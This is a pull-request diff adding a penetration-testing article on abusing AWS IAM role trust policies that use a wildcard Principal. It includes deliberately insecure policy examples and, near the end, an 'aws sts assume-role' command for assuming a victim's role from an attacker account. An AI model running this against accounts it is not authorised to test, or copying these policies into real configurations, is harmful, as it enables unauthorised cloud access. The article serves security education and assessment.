Merge pull request #362 from Hacking-the-Cloud/add/iam_role_wildcard_…

…trust_policy_article

Added article on role trust policies with wildcard principal element

content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.md

@@ -0,0 +1,95 @@
+---
+author_name: Nick Frichette
+title: Abusing Misconfigured Role Trust Policies with a Wildcard Principal
+description: How to take advantage of misconfigured role trust policies that have wildcard principals.
+---
+
+As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a `Principal` in a role trust policy.
+
+## Role Trust Policies
+
+As stated in the AWS [documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#term_trust-policy), a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".
+
+This policy typically looks like the following:
+
+```json
+{
+	"Version": "2012-10-17",
+	"Statement": [
+		{
+			"Effect": "Allow",
+			"Principal": {
+				"AWS": "arn:aws:iam::111111111111:root"
+			},
+			"Action": "sts:AssumeRole"
+		}
+	]
+}
+```
+
+This policy would `Allow` anyone in the `111111111111` account the ability to perform the action `sts:AssumeRole` (assume the role).
+
+As mentioned in our documentation on [Misconfigured Resource Based Policies](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks), there are a variety of options that can be used for the `Principal` element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the "wildcard" `Principal`. This `Principal` encompasses __ALL__ AWS principals. 
+
+!!! Warning
+    A common misunderstanding is that the wildcard `Principal` is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard `Principal` applies to __EVERY__ AWS account.
+
+If a role trust policy is configured with a wildcard `Principal` element, such as the one shown below, __anyone in the world can assume the role__.
+
+```json
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Principal": {
+                "AWS": "*"
+            },
+            "Action": "sts:AssumeRole"
+        }
+    ]
+}
+```
+
+It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:
+
+!!! Warning
+    __Do NOT use this trust policy__.
+
+
+```json
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Principal": {
+                "AWS": "*"
+            },
+            "Action": "sts:AssumeRole",
+            "Condition": {
+                "ArnNotEquals": {
+                    "aws:PrincipalArn": "arn:aws:iam::555555555555:role/intent-allow-role"
+                }
+            }
+        }
+    ]
+}
+```
+
+In this example, the intention was to create a policy that Denied all Principals except the `intent-allow-role`. However, while creating this policy, the `Effect` was mistakenly changed to an `Allow`, which had the opposite effect, now anyone except `intent-allow-role` can assume the role.
+
+These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!
+
+## How to Exploit
+
+In order to exploit a role that has a wildcard set as a `Principal`, you simply invoke [sts:AssumeRole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html) from an attacker controlled AWS account. Any AWS account, including those outside of the victim's [AWS Organization](https://aws.amazon.com/organizations/), will work.
+
+```shell
+aws sts assume-role \
+--role-arn arn:aws:iam::222222222222:role/victim-role \
+--role-session-name blahsessionname
+```
+
+!!! Tip
+    There are various methods to enumerate role ARNs such as [unauthenticated brute force](https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/), and [enumerating an ARN from a unique identifier](https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/).